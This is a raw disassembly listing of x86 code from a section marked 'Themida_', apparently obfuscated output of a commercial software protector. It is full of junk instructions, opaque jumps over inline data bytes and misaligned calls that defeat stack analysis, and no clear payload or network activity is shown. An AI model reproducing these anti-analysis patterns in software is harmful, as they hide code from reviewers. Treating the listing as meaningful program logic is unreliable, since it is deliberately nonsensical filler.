		jmp	loc_5D4B3F
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 91FD8765h, 8F1B8D35h, 6EB0F8CEh
		db 30h,	12h, 4Bh
; ---------------------------------------------------------------------------


loc_5D4B3F:				; CODE XREF: sub_5D4B17:loc_5D4B29j
		mov	ebx, 31C94210h
		mov	ecx, edx
		mov	cx, 4B8Eh
		jmp	loc_5D4B60
; ---------------------------------------------------------------------------
		db 0EAh
		dd 0D061A3DCh, 4F34D70Dh, 0EF801AA8h, 36E26D06h
; ---------------------------------------------------------------------------


loc_5D4B60:				; CODE XREF: sub_5D4B17+33j
		mov	eax, 2DBB24D7h
		push	eax
		mov	si, ax
		pop	esi
		pusha
		jmp	loc_5D4B7F
; ---------------------------------------------------------------------------
		add	dh, [ebx+ebx*4+1AE6CBFAh]
		pop	esi
		xor	[edx], ah
		and	eax, 0CAA36F3Ah


loc_5D4B7F:				; CODE XREF: sub_5D4B17+54j
		push	edi
		js	$+6
		pop	edi
		popa
		push	ecx
		movsx	eax, cx
		pop	edx
		push	eax
		clc
		pop	ecx
		mov	edi, 5F2FDD37h
		and	eax, 8C89B8Bh
		jmp	loc_5D4BAB
; ---------------------------------------------------------------------------
		fisttp	qword ptr ds:57FFAD02h
		push	0DA8D81Bh


loc_5D4BAB:				; CODE XREF: sub_5D4B17+84j
		mov	dx, cx
		mov	si, bx
		jnp	loc_5D4BBC
		or	dx, 3D7Ch


loc_5D4BBC:				; CODE XREF: sub_5D4B17+9Aj
		jl	loc_5D4BC7
		sub	ax, 36C5h


loc_5D4BC7:				; CODE XREF: sub_5D4B17:loc_5D4BBCj
		pusha
		mov	ecx, ebx
		mov	al, 0D1h
		popa
		mov	ax, cx
		mov	ecx, edi
		stc
		or	esi, 4B81DBEAh
		jmp	loc_5D4BEB
; ---------------------------------------------------------------------------
		dw 9807h
		dd 44239F5Ch, 0F8367551h
		db 0C8h, 19h, 8Bh
; ---------------------------------------------------------------------------


loc_5D4BEB:				; CODE XREF: sub_5D4B17+C2j
		mov	ebx, 470967A7h
		adc	ecx, 3ABABFCEh
		pusha
		jp	loc_5D4C0C
		jmp	loc_5D4C0C
; ---------------------------------------------------------------------------
		pop	ebx
		int	3		; Trap to Debugger
		les	ebx, [edx]
		db	64h
		mov	dl, 59h
		push	ss
		jns	short loc_5D4C53


loc_5D4C0C:				; CODE XREF: sub_5D4B17+E0j
					; sub_5D4B17+E6j
		jmp	loc_5D4C18
; ---------------------------------------------------------------------------
		imul	ebx, esp, 6102F9E8h
		inc	ecx


loc_5D4C18:				; CODE XREF: sub_5D4B17:loc_5D4C0Cj
		popa
		clc
		jnp	loc_5D4C2F
		call	sub_5D4C2B
		or	dh, ch
		scasb
		popf
		sub	al, 80h
sub_5D4B17	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4C2B	proc near		; CODE XREF: sub_5D4B17+109p
		mov	di, si
		pop	esi


loc_5D4C2F:				; CODE XREF: sub_5D4B17+103j
		pusha
		jmp	loc_5D4C45
; ---------------------------------------------------------------------------
		fst	qword ptr [eax+66h]
		push	ebx
		ror	byte ptr [edi+7AEB82Dh], 1
		mov	gs, ax
		dec	ebx
		das
		aad	39h


loc_5D4C45:				; CODE XREF: sub_5D4C2B+5j
		mov	di, 7CF2h
		popa
		jmp	loc_5D4C55
; ---------------------------------------------------------------------------
		db 27h
		db 0FCh, 82h, 54h
; ---------------------------------------------------------------------------


loc_5D4C53:				; CODE XREF: sub_5D4B17+F3j
		cmp	al, 0E7h


loc_5D4C55:				; CODE XREF: sub_5D4C2B+1Fj
		jmp	loc_5D4C6A
; ---------------------------------------------------------------------------
		dw 6E31h
		dd 0A4D530A7h, 0E87E2E3Eh, 9B81A15Bh
		db 0F1h, 0C0h
; ---------------------------------------------------------------------------


loc_5D4C6A:				; CODE XREF: sub_5D4C2B:loc_5D4C55j
		jb	loc_5D4C73
		movzx	edi, dx


loc_5D4C73:				; CODE XREF: sub_5D4C2B:loc_5D4C6Aj
		jo	loc_5D4C7E
		sbb	ax, 0A981h


loc_5D4C7E:				; CODE XREF: sub_5D4C2B:loc_5D4C73j
		adc	ebx, 6185B39Ah
		jmp	loc_5D4C98
; ---------------------------------------------------------------------------
		db 3Fh,	94h, 32h
		dd 5F15FF7Bh, 0B1717C0Dh, 0AD3967F5h
; ---------------------------------------------------------------------------


loc_5D4C98:				; CODE XREF: sub_5D4C2B+59j
		mov	al, 54h
		pusha
		push	edx
		add	dx, 87E0h
		pop	ecx
		ja	$+6
		popa
		call	near ptr loc_5D4CB5+1
		rcl	byte ptr [edx+0Dh], cl
		ror	dword ptr [esi-5], 1
		cdq


loc_5D4CB5:				; CODE XREF: Themida_:005D4D06j
					; sub_5D4C2B+7Ep
		mov	cl, 59h
sub_5D4C2B	endp ; sp-analysis failed

		mov	cx, dx
		jnp	$+6
		mov	ecx, eax
		mov	edi, 357A973Dh
		mov	ax, 3A47h
		mov	dh, 0ADh
		mov	bx, 0FD13h
		mov	edi, ebx
		push	ecx
		sbb	edx, 14F8C04Ah
		pop	ebx
		push	edx
		pop	edi
		jg	loc_5D4CF6
		jmp	loc_5D4CF6
; ---------------------------------------------------------------------------
		db 64h,	68h, 0FEh
; ---------------------------------------------------------------------------
		xor	[edx], al
		mov	dl, 77h
		db	36h
		retf	7F8Ah
; ---------------------------------------------------------------------------
		db 9Dh,	33h
; ---------------------------------------------------------------------------


loc_5D4CF6:				; CODE XREF: Themida_:005D4CDEj
					; Themida_:005D4CE4j
		jg	loc_5D4D0E
		call	sub_5D4D0A
		pushf
		add	ah, dh
		arpl	dx, bx
		jg	short loc_5D4CB5
		sbb	dl, bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4D0A	proc near		; CODE XREF: Themida_:005D4CFCp
		mov	dx, si
		pop	ebx


loc_5D4D0E:				; CODE XREF: Themida_:loc_5D4CF6j
		push	esi
		pusha
		jmp	loc_5D4D24
; ---------------------------------------------------------------------------
		db 0F2h, 97h, 0EAh
		dd 5B85A605h, 6F746E6Ch, 28E2377Dh
; ---------------------------------------------------------------------------


loc_5D4D24:				; CODE XREF: sub_5D4D0A+6j
		or	bh, 3
		popa
		pop	esi
		xor	bl, 8Dh
		mov	ebx, 363DD349h
		pusha
		mov	si, 0EF34h
		mov	bx, 958Dh
		popa
		mov	edx, 577B15B1h
		push	edx
		jmp	loc_5D4D5A
; ---------------------------------------------------------------------------
		dw 8983h
		dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h
		db 69h,	84h
; ---------------------------------------------------------------------------


loc_5D4D5A:				; CODE XREF: sub_5D4D0A+37j
		pop	ecx


loc_5D4D5B:				; DATA XREF: ___:off_43162Co
		or	edx, 6EFE3B77h
		mov	ecx, 4060DB7Ah
		jmp	loc_5D4D7C
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0F5BC494Eh, 0EC00CA84h, 9E521DAFh, 0BE5A9917h
; ---------------------------------------------------------------------------


loc_5D4D7C:				; CODE XREF: sub_5D4D0A+5Cj
		stc
		call	sub_5D4D89
		mov	edx, 6BE33704h
		adc	al, 0CCh
sub_5D4D0A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4D89	proc near		; CODE XREF: sub_5D4D0A+73p

; FUNCTION CHUNK AT 005D4E40 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005D4E6E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005D4E89 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005D4EA1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005D4EB2 SIZE 00000046 BYTES

		mov	ebx, eax
		pop	edi
		mov	bh, 0DCh
		movsx	edi, dx
		mov	ax, 0DC4Bh
		mov	bh, 39h
		mov	ebx, 78CC7092h
		adc	eax, 6DD1E130h
		cmc
		jmp	loc_5D4DBC
; ---------------------------------------------------------------------------
		dd 2E7F4525h, 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h
; ---------------------------------------------------------------------------


loc_5D4DBC:				; CODE XREF: sub_5D4D89+1Aj
		jmp	loc_5D4DCD
; ---------------------------------------------------------------------------
		db 0DAh, 7Bh, 87h
		dd 0C9766C23h, 0A4192B45h
		db 82h
; ---------------------------------------------------------------------------


loc_5D4DCD:				; CODE XREF: sub_5D4D89:loc_5D4DBCj
		jmp	loc_5D4DDF
; ---------------------------------------------------------------------------
		dw 0CD27h
		dd 8AFFAA1Eh, 6BEC7C92h
		db 0EFh, 3Bh, 0F2h
; ---------------------------------------------------------------------------


loc_5D4DDF:				; CODE XREF: sub_5D4D89:loc_5D4DCDj
		mov	ax, 0CF7Ah
		mov	bh, 9Ch
		jo	loc_5D4DEF
		mov	si, 1118h


loc_5D4DEF:				; CODE XREF: sub_5D4D89+5Cj
		push	edi
		xor	esi, 3B9AE2Ah
		pop	edi
		mov	ebx, 511D6BAFh
		cld
		clc
		mov	dx, ax
		jmp	loc_5D4E0D
; ---------------------------------------------------------------------------
		dw 3ED5h
		dd 0FA788A6Dh
		db 0Ah
; ---------------------------------------------------------------------------


loc_5D4E0D:				; CODE XREF: sub_5D4D89+78j
		mov	ecx, edx
		mov	di, cx
		mov	cx, 0Bh
		push	eax
		mov	si, dx
		pop	edi
		clc
		jnp	loc_5D4E40
		call	near ptr loc_5D4E37+2
		fist	word ptr [ebx-45h]
		pop	es
		xor	eax, 475AC8A3h
		add	esp, [eax+2]
		add	bl, [ecx+ebp*4+0Fh]


loc_5D4E37:				; CODE XREF: sub_5D4D89+99p
		mov	edi, 0EEEB8121h
sub_5D4D89	endp ; sp-analysis failed

		mov	[bp+di], cl
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_5D4D89


loc_5D4E40:				; CODE XREF: sub_5D4D89+93j
		jns	loc_5D4E4D
		push	ebx
		or	cx, 3027h
		pop	edi


loc_5D4E4D:				; CODE XREF: sub_5D4D89:loc_5D4E40j
		mov	al, 0B6h
		push	eax
		and	esi, 2C573D42h
		pop	esi
		movsx	edx, si
		movzx	eax, ax
		add	bh, 0DDh
		jmp	loc_5D4E6E
; END OF FUNCTION CHUNK	FOR sub_5D4D89
; ---------------------------------------------------------------------------
		db 99h,	0B9h, 88h
		dd 46BB64E9h
		db 0C8h, 87h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4D89


loc_5D4E6E:				; CODE XREF: sub_5D4D89+D7j
		mov	bl, 81h
		mov	dh, bh
		jmp	loc_5D4E89
; END OF FUNCTION CHUNK	FOR sub_5D4D89
; ---------------------------------------------------------------------------
		db 0B0h
		dd 76A83BBDh, 8906D31Dh, 838A46DDh, 4BDE59EAh
		db 15h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4D89


loc_5D4E89:				; CODE XREF: sub_5D4D89+E9j
		jnb	loc_5D4E92
		movzx	edx, ax


loc_5D4E92:				; CODE XREF: sub_5D4D89:loc_5D4E89j
		jmp	loc_5D4EA1
; END OF FUNCTION CHUNK	FOR sub_5D4D89
; ---------------------------------------------------------------------------
		db 4Eh
		dd 10D96277h, 3A8E095Bh
		db 3Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4D89


loc_5D4EA1:				; CODE XREF: sub_5D4D89:loc_5D4E92j
		mov	si, 4A49h
		jmp	loc_5D4EB2
; END OF FUNCTION CHUNK	FOR sub_5D4D89
; ---------------------------------------------------------------------------
		dw 23B0h
		dd 2D75FE27h
		db 76h,	0C8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D4D89


loc_5D4EB2:				; CODE XREF: sub_5D4D89+11Cj
		pusha
		add	ebx, 7EA07A2Ah
		movsx	edx, bx
		popa
		stc
		cmc
		mov	ebx, edi
		mov	esi, 2099F243h
		cld
		sbb	dl, 49h
		and	bx, 0F4A4h
		jp	$+6
		mov	edx, 5E345F8Bh
		jno	loc_5D4EE4
		mov	bx, 21D1h


loc_5D4EE4:				; CODE XREF: sub_5D4D89+151j
		pusha
		or	ax, 1280h
		popa
		pusha
		mov	dx, di
		call	sub_5D4EF9
		adc	ch, bl
		jmp	short near ptr loc_5D4F38+2
; END OF FUNCTION CHUNK	FOR sub_5D4D89
; ---------------------------------------------------------------------------
		db 0D2h

; =============== S U B	R O U T	I N E =======================================



sub_5D4EF9	proc near		; CODE XREF: sub_5D4D89+166p
		ja	$+6
		pop	edx
		popa
		and	al, 7Dh
		mov	edi, 6B945D99h
		jmp	loc_5D4F1A
; ---------------------------------------------------------------------------
		dw 0CEEBh
; ---------------------------------------------------------------------------
		fsub	qword ptr [edi-422E3E2h]
		inc	esi
		or	ch, bl
		dec	edi


loc_5D4F1A:				; CODE XREF: sub_5D4EF9+10j
		mov	ah, cl
		mov	si, 0B421h
		mov	ax, di
		call	near ptr loc_5D4F38+2
		int	8Ch		; used by BASIC	while in interpreter
		out	dx, eax
		xchg	eax, edx
		scasd
		and	edx, esp
		test	eax, 0B357B0D7h
		push	esp
		das
		inc	esp
		lodsd


loc_5D4F38:				; CODE XREF: sub_5D4D89+16Dj
					; sub_5D4EF9+2Ap
		sub	edi, 59AFEC80h
sub_5D4EF9	endp ; sp-analysis failed

		jmp	loc_5D4F4E
; ---------------------------------------------------------------------------
		db 0ABh
		dd 582F3846h, 4FAF4E5Dh
		db 7Dh,	57h
; ---------------------------------------------------------------------------


loc_5D4F4E:				; CODE XREF: Themida_:005D4F3Ej
		or	bl, 0DFh
		xor	al, 2
		jmp	loc_5D4F60
; ---------------------------------------------------------------------------
		db 9Fh,	9, 7Ah
		dd 0C52A2552h
; ---------------------------------------------------------------------------


loc_5D4F60:				; CODE XREF: Themida_:005D4F54j
		mov	esi, 15FECB26h
		mov	bx, si
		push	edi
		jg	loc_5D4F87
		jmp	loc_5D4F87
; ---------------------------------------------------------------------------
		dd 0C48D54D9h, 0E3B4AAC5h, 0DE0D6196h, 0DC99C157h
		db 0F8h, 3Eh, 1Ah
; ---------------------------------------------------------------------------


loc_5D4F87:				; CODE XREF: Themida_:005D4F69j
					; Themida_:005D4F6Fj
		pop	ebx
		or	si, 2108h
		mov	al, 4Fh
		xor	ch, 0Ch
		pusha
		jz	loc_5D4F9D
		mov	cx, 313Ah


loc_5D4F9D:				; CODE XREF: Themida_:005D4F93j
		call	near ptr loc_5D4FA2+6


loc_5D4FA2:				; CODE XREF: Themida_:loc_5D4F9Dp
		mov	esp, es:60735949h
		popa
		pop	esi
		popa
		call	sub_5D4FC3
		cdq
		lock loopne near ptr loc_5D4FEA+3
		mov	ecx, 0F590AA19h
; ---------------------------------------------------------------------------
		dw 0CCF0h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A0h, 25h, 30h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 61h,	0F0h

; =============== S U B	R O U T	I N E =======================================



sub_5D4FC3	proc near		; CODE XREF: Themida_:005D4FACp
		mov	ecx, 49133150h
		pop	ebx
		jmp	loc_5D4FE1
; ---------------------------------------------------------------------------
		dw 0A119h
		dd 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 333106CBh
		db 38h
; ---------------------------------------------------------------------------


loc_5D4FE1:				; CODE XREF: sub_5D4FC3+6j
		sub	edx, 495E59E8h
		mov	dx, ax


loc_5D4FEA:				; CODE XREF: Themida_:005D4FB2j
		sbb	ebx, 53CB3D46h
		jmp	loc_5D4FFD
; ---------------------------------------------------------------------------
		db 0E5h, 4Bh, 0EAh
		dd 785661F1h
		db 0B6h
; ---------------------------------------------------------------------------


loc_5D4FFD:				; CODE XREF: sub_5D4FC3+2Dj
		jmp	loc_5D5008
; ---------------------------------------------------------------------------
		dw 64EDh
; ---------------------------------------------------------------------------
		aas
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------


loc_5D5008:				; CODE XREF: sub_5D4FC3:loc_5D4FFDj
		adc	di, 894Fh
		xor	ax, 24BEh
		jnb	loc_5D501E
		pusha
		cld
		mov	cx, dx
		popa


loc_5D501E:				; CODE XREF: sub_5D4FC3+4Fj
		cmc
		sub	si, 1B96h
		cmc
		cmc


loc_5D5026:				; CODE XREF: sub_5D4FC3+DAj
		jns	$+6
		add	ebx, 5AE9D936h
		cld
		mov	cl, 15h
		cmc
		jmp	loc_5D504F
; ---------------------------------------------------------------------------
		shr	dword ptr [eax-3CD28F02h], cl
		mov	word ptr [ebp+7F4471D9h], es
		xchg	eax, edi
		xchg	eax, ecx
		das
		mov	ebx, 3C2C1963h


loc_5D504F:				; CODE XREF: sub_5D4FC3+73j
		jmp	loc_5D505F
; ---------------------------------------------------------------------------
		dd 4C0FA015h, 9BE3278Eh
		db 0FBh, 94h, 2Eh
; ---------------------------------------------------------------------------


loc_5D505F:				; CODE XREF: sub_5D4FC3:loc_5D504Fj
		mov	di, 0D17Bh
		jmp	loc_5D5072
; ---------------------------------------------------------------------------
		dd 7112863Ch, 112B5DCFh
		db 29h,	59h
; ---------------------------------------------------------------------------


loc_5D5072:				; CODE XREF: sub_5D4FC3+A0j
		sbb	dl, 73h
		mov	edi, 1ABF1F59h
		jmp	loc_5D508F
; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------
		inc	edi
		mov	ah, 8Eh
		dec	dword ptr [esi+71026990h]
		pop	edi
		mov	[eax-73h], esi
		cwde


loc_5D508F:				; CODE XREF: sub_5D4FC3+B7j
		jns	$+6
		call	sub_5D50A0
		inc	ebp
		xchg	eax, ebx
		setalc
		jns	short loc_5D5026
		inc	ecx
sub_5D4FC3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D50A0	proc near		; CODE XREF: sub_5D4FC3+D2p

; FUNCTION CHUNK AT 005D5116 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005D5163 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005D517C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005D51A0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005D51CF SIZE 00000019 BYTES

		push	eax
		push	edi
		pop	edx
		pop	eax
		pop	edx
		mov	al, dh
		mov	eax, 7E760AA5h
		sub	di, 0DCE9h
		jmp	loc_5D50C3
; ---------------------------------------------------------------------------
		dw 59B9h
		dd 0A42D8383h, 0D25A0556h
		db 0B3h, 61h, 80h
; ---------------------------------------------------------------------------


loc_5D50C3:				; CODE XREF: sub_5D50A0+11j
		mov	esi, 1319F94Ah
		jmp	loc_5D50D6
; ---------------------------------------------------------------------------
		sub	bl, [esi]
		sub	[eax+13h], edi
		inc	ebp
		popf
		jno	short loc_5D5116


loc_5D50D6:				; CODE XREF: sub_5D50A0+28j
		mov	cx, bx
		mov	ax, 0E6DBh
		mov	edi, 342695D7h
		jmp	loc_5D50F3
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0AC450039h, 0AB6F729Bh
; ---------------------------------------------------------------------------
		dec	ecx
		xchg	eax, edi
		stosd


loc_5D50F3:				; CODE XREF: sub_5D50A0+42j
		mov	bx, 48BCh
		mov	esi, edi
		call	near ptr loc_5D510A+3
		xlat
		fild	dword ptr [edi+7Ah]
		loopne	near ptr loc_5D5125+1
		cmc
		or	al, cl
		setalc
		outsd
		dec	edi


loc_5D510A:				; CODE XREF: sub_5D50A0+59p
		cmp	eax, 0BF66053Eh
sub_5D50A0	endp ; sp-analysis failed

		mov	ebp, 0E78A5EDDh
		mov	edx, ecx
; START	OF FUNCTION CHUNK FOR sub_5D50A0


loc_5D5116:				; CODE XREF: sub_5D50A0+34j
		push	eax
		jp	loc_5D511F
		push	eax
		pop	ecx


loc_5D511F:				; CODE XREF: sub_5D50A0+77j
		pop	esi
		mov	edx, 724A785Ch


loc_5D5125:				; CODE XREF: sub_5D50A0+62j
		mov	bx, 3B3Dh
		sub	ebx, 14029712h
		mov	esi, edx
		mov	cx, dx
		mov	ecx, ebx
		pusha
		mov	ebx, edx
		popa
		jg	loc_5D5141
		cmc


loc_5D5141:				; CODE XREF: sub_5D50A0+9Aj
		mov	eax, 63100D80h
		cld
		mov	cx, 803h
		jmp	loc_5D5163
; END OF FUNCTION CHUNK	FOR sub_5D50A0
; ---------------------------------------------------------------------------
		mov	dword ptr ds:4E80B363h,	1738DEF4h
		inc	ebx
		mov	[eax+4Eh], esi
		db	64h
		mov	di, 0F7Eh
; START	OF FUNCTION CHUNK FOR sub_5D50A0


loc_5D5163:				; CODE XREF: sub_5D50A0+ABj
		jl	loc_5D517C
		jge	loc_5D517C
		jmp	loc_5D517C
; END OF FUNCTION CHUNK	FOR sub_5D50A0
; ---------------------------------------------------------------------------
		db 87h,	0DBh
; ---------------------------------------------------------------------------
		xlat
		retn	0CED4h
; ---------------------------------------------------------------------------
		mov	bh, 4Ah
; START	OF FUNCTION CHUNK FOR sub_5D50A0


loc_5D517C:				; CODE XREF: sub_5D50A0:loc_5D5163j
					; sub_5D50A0+C9j ...
		sub	bx, 465Ah
		movsx	eax, dx
		jnp	loc_5D51A0
		jmp	loc_5D51A0
; END OF FUNCTION CHUNK	FOR sub_5D50A0
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D50A0


loc_5D51A0:				; CODE XREF: sub_5D50A0+E4j
					; sub_5D50A0+EAj
		xor	ebx, 5BD3E0D9h
		cmc
		movsx	eax, si
		mov	si, ax
		add	cx, 8A47h
		jnz	loc_5D51BA
		mov	ebx, eax


loc_5D51BA:				; CODE XREF: sub_5D50A0+112j
		mov	esi, ecx
		jmp	loc_5D51CF
; END OF FUNCTION CHUNK	FOR sub_5D50A0
; ---------------------------------------------------------------------------
		pop	edi
		inc	ecx
		or	ah, 0FBh
		mov	bh, 0F1h
		movsb
		sbb	al, [esi+ebp*4-65h]
		les	edi, [ebx]
; START	OF FUNCTION CHUNK FOR sub_5D50A0


loc_5D51CF:				; CODE XREF: sub_5D50A0+11Cj
		mov	dx, 449Ch
		jg	loc_5D51EB
		call	sub_5D51E8
		push	0FFFFFF8Ch
		add	dh, [esi-69h]
		dec	esi
		loope	loc_5D524D
		in	eax, 0E7h
; END OF FUNCTION CHUNK	FOR sub_5D50A0

; =============== S U B	R O U T	I N E =======================================



sub_5D51E8	proc near		; CODE XREF: sub_5D50A0+139p

; FUNCTION CHUNK AT 005D523F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005D5282 SIZE 0000001C BYTES

		mov	dl, 0A8h
		pop	edi


loc_5D51EB:				; CODE XREF: sub_5D50A0+133j
		push	esi
		call	sub_5D51FA
		mov	esi, 32512B1Dh
		jbe	short loc_5D523F
		out	dx, eax
		daa
sub_5D51E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D51FA	proc near		; CODE XREF: sub_5D51E8+4p
		movzx	edi, cx
		pop	ecx
		pop	esi
		mov	al, 0B6h
		mov	dl, bl
		mov	dx, bx
		call	sub_5D5210
		mov	ebp, 0C9000D9Bh
sub_5D51FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D5210	proc near		; CODE XREF: sub_5D51FA+Cp
		movsx	eax, ax
		pop	edx
		mov	cl, bl
		jge	loc_5D521F
		mov	di, bx


loc_5D521F:				; CODE XREF: sub_5D5210+6j
		mov	ecx, 6709E5DCh
		mov	cx, dx
		jnp	loc_5D5235
		jle	loc_5D5235
		mov	al, bl


loc_5D5235:				; CODE XREF: sub_5D5210+17j
					; sub_5D5210+1Dj
		jmp	near ptr loc_5D5247+4
sub_5D5210	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8752h
; ---------------------------------------------------------------------------
		sal	bl, 1
		push	esp
; START	OF FUNCTION CHUNK FOR sub_5D51E8


loc_5D523F:				; CODE XREF: sub_5D51E8+Ej
		out	dx, eax
		mov	ah, dl
		cmp	eax, 6B811153h


loc_5D5247:				; CODE XREF: sub_5D5210:loc_5D5235j
		bound	eax, ds:0DE80E1EEh


loc_5D524D:				; CODE XREF: sub_5D50A0+144j
		mov	ch, 66h
		mov	ecx, 60608837h
		mov	bx, cx
		jg	$+6
		popa
		mov	edi, 359965DDh
		popa
		mov	ax, dx
		movsx	esi, ax
		push	esi
		jmp	loc_5D5282
; END OF FUNCTION CHUNK	FOR sub_5D51E8
; ---------------------------------------------------------------------------
		jmp	short loc_5D527E
; ---------------------------------------------------------------------------
		dw 4483h
		dd 2658D2B1h, 8DD4974Ch
		db 44h,	8Bh
; ---------------------------------------------------------------------------


loc_5D527E:				; CODE XREF: Themida_:005D5270j
		sal	dword ptr [edx+esi*8+51h], cl
; START	OF FUNCTION CHUNK FOR sub_5D51E8


loc_5D5282:				; CODE XREF: sub_5D51E8+83j
		pop	edi
		mov	ax, 2ED9h
		mov	esi, 3EEB90F3h
		call	sub_5D529E
; ---------------------------------------------------------------------------
		lea	esp, [eax-7083DCA9h]
		sbb	[eax+0FDC76D9h], esi
		dec	eax
; END OF FUNCTION CHUNK	FOR sub_5D51E8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D529E	proc near		; CODE XREF: sub_5D51E8+A4p
		call	sub_5D52AA
sub_5D529E	endp

; ---------------------------------------------------------------------------
		fistp	word ptr [esi-7041D9E6h]
		stosd

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D52AA	proc near		; CODE XREF: sub_5D529Ep
		mov	di, 478Bh
		pop	edx
		pop	edi
		mov	ch, dh
		call	near ptr sub_5D52C2
sub_5D52AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	edx, [edi]
		aam	0Dh
		xchg	eax, ebx
		ficomp	word ptr ds:0B652650Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D52C2	proc far		; CODE XREF: sub_5D52AA+8p
		mov	ah, bh
		pop	edx
		jmp	loc_5D52D7
; ---------------------------------------------------------------------------
		dw 0F229h
		dd 440122F4h, 2F37200Fh
		db 81h,	19h, 22h
; ---------------------------------------------------------------------------


loc_5D52D7:				; CODE XREF: sub_5D52C2+3j
		mov	dx, 4E20h
		jmp	loc_5D52E5
; ---------------------------------------------------------------------------
		dd 0F3D9D7D8h
		db 8Fh
; ---------------------------------------------------------------------------


loc_5D52E5:				; CODE XREF: sub_5D52C2+19j
		sbb	eax, 2D4B473h
		movzx	esi, cx
		jnz	loc_5D52F7
		movsx	edx, bx


loc_5D52F7:				; CODE XREF: sub_5D52C2+2Cj
		adc	ah, 35h
		or	esi, 415BB8B1h
		mov	al, 50h
		mov	bh, 0E2h
		jmp	loc_5D5317
; ---------------------------------------------------------------------------
		db 6Eh,	0DFh, 3Ah
		dd 441851F1h, 0FE5795B4h
		db 25h,	4Eh, 0C7h
; ---------------------------------------------------------------------------


loc_5D5317:				; CODE XREF: sub_5D52C2+42j
		sub	al, 0Ah
		mov	ch, 38h


loc_5D531C:				; CODE XREF: sub_5D52C2+8Ej
		jmp	loc_5D532C
; ---------------------------------------------------------------------------
		db 5, 0DAh, 1
		db 0CCh
		db 8Ah,	41h, 85h
		dd 1969097Ch
; ---------------------------------------------------------------------------


loc_5D532C:				; CODE XREF: sub_5D52C2:loc_5D531Cj
		jmp	loc_5D5340
; ---------------------------------------------------------------------------
		db 3Fh,	54h, 5Bh
		dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh
; ---------------------------------------------------------------------------


loc_5D5340:				; CODE XREF: sub_5D52C2:loc_5D532Cj
					; sub_5D52C2+BFj
		mov	ebx, esi
		mov	ah, 0A9h
		movzx	edi, di
		push	edi
		jmp	loc_5D5357
; ---------------------------------------------------------------------------
		db 0EDh, 0E0h, 1Fh
; ---------------------------------------------------------------------------
		jbe	short loc_5D531C
		retf	0FA96h
; ---------------------------------------------------------------------------
		db 0B8h, 25h
; ---------------------------------------------------------------------------


loc_5D5357:				; CODE XREF: sub_5D52C2+86j
		pop	edx
		push	eax
		pusha
		mov	bh, 46h
		mov	cx, si
		popa
		pop	edi
		mov	ch, 0A9h
		jmp	loc_5D5373
; ---------------------------------------------------------------------------
		dd 3287053h, 1B327493h
; ---------------------------------------------------------------------------
		sbb	dh, [ecx+47h]


loc_5D5373:				; CODE XREF: sub_5D52C2+A1j
		cmc
		jmp	loc_5D538D
; ---------------------------------------------------------------------------
		pop	esp
		add	al, 0E1h
		cmp	eax, 6C86EE90h
		jmp	short loc_5D5340
; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		mov	ebx, 19AC6320h
		cmpsd
		cmc
		std


loc_5D538D:				; CODE XREF: sub_5D52C2+B2j
		or	ax, 0D9DAh
		pusha
		push	edi
		movzx	edi, si
		pop	edi
		call	loc_5D53A9
		lahf
		hlt
sub_5D52C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F9h
		dd 7C14DBB6h, 813EA10Eh
		db 9Ah
; ---------------------------------------------------------------------------


loc_5D53A9:				; CODE XREF: sub_5D52C2+D6p
		mov	di, 0AF75h
		pop	ecx
		popa
		mov	esi, ecx
		mov	edi, esi
		mov	edx, ebx
		mov	si, 8271h
		mov	al, 0BEh
		mov	ebx, 301AC957h
		mov	di, 1589h
		mov	ebx, 28F8F6Dh
		mov	esi, edx
		jz	loc_5D53D3
		mov	eax, edi


loc_5D53D3:				; CODE XREF: Themida_:005D53CBj
		pusha
		call	sub_5D53E9
		les	sp, [esp+ebx*8]
		xchg	eax, ebp
; ---------------------------------------------------------------------------
		dw 188Fh
		dd 0B15EFD22h, 0EDD5EB24h
		db 0E0h

; =============== S U B	R O U T	I N E =======================================



sub_5D53E9	proc near		; CODE XREF: Themida_:005D53D4p
